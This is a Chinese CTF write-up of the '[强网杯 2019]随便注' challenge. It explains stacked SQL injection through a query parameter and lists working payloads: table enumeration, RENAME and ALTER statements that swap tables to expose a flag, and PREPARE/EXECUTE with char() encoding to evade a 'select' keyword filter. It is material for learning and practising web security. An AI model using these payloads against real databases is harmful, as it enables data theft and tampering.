[强网杯 2019]随便注1

[强网杯 2019]随便注1

  1. 打开后的样子
    在这里插入图片描述

  2. 法一:重命名+堆叠注入:可以执行任意sql语句

    1. 堆叠注入原理:在sql中,分号表示一条语句的结束。如果在分号的后面再加一条语句,这条语句也可以被执行,继续加一个分号和一条语句,这样就可以在一次数据库的调用中执行多个语句。

    2. 但是堆叠注入大多时候不可用

    3. 利用 or 1=1–+列举所以数据**?inject=1’or 1=1;–+**

    4. 查看一下表**?inject=1’;show tables;–+**

    在这里插入图片描述

    1. 有两个表,分别查看一下

      1. ?inject=1’;show columns from `1919810931114514`;–+
        在这里插入图片描述

      2. ?inject=1’;show columns from `words`;–+

    在这里插入图片描述

    3.  ?inject=1';select \* from \`1919810931114514\`;--+被过滤了。
    

在这里插入图片描述

alert和rename没过滤,所以可以把表列改名

    /?inject=1'; **RENAME** TABLE \`words\` TO \`words1\`; **RENAME** TABLE
    \`1919810931114514\` TO \`words\`; **ALTER** TABLE \`words\` CHANGE
    \`flag\` \`id\` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci
    NOT NULL; **show** columns from words;%23

 ?inject=1' or '1'='1?inject=1' or '1'='1

在这里插入图片描述

  1. 法二:预处理语句+堆叠注入:

在这里插入图片描述

  1. char(115,101,108,101,99,116)<----->'select’

    PREPARE name from ‘[my sql sequece]’; //预定义SQL语句 EXECUTE name;
    //执行预定义SQL语句 (DEALLOCATE || DROP) PREPARE name; //删除预定义SQL
    语句

    1. payload1: 1’;PREPARE hacker from concat(char(115,101,108,101,99,116),
      ’ * from `1919810931114514` ');EXECUTE hacker;#

    2. payload2: 1’;SET @sqli=concat(char(115,101,108,101,99,116),’* from
      `1919810931114514`’);PREPARE hacker from @sqli;EXECUTE hacker;#
      【使用变量】

    3. payload3: 1’;PREPARE hacker from concat(‘s’,‘elect’, ’ * from
      `1919810931114514` ');EXECUTE hacker;
      #
      【只是用contact(),不使用char()】

  2. 引用参考:

    1. https://www.cnblogs.com/peri0d/p/12123814.html

    2. https://www.cnblogs.com/wjw-zm/p/12359735.html
      3814.html>

    3. https://www.cnblogs.com/wjw-zm/p/12359735.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值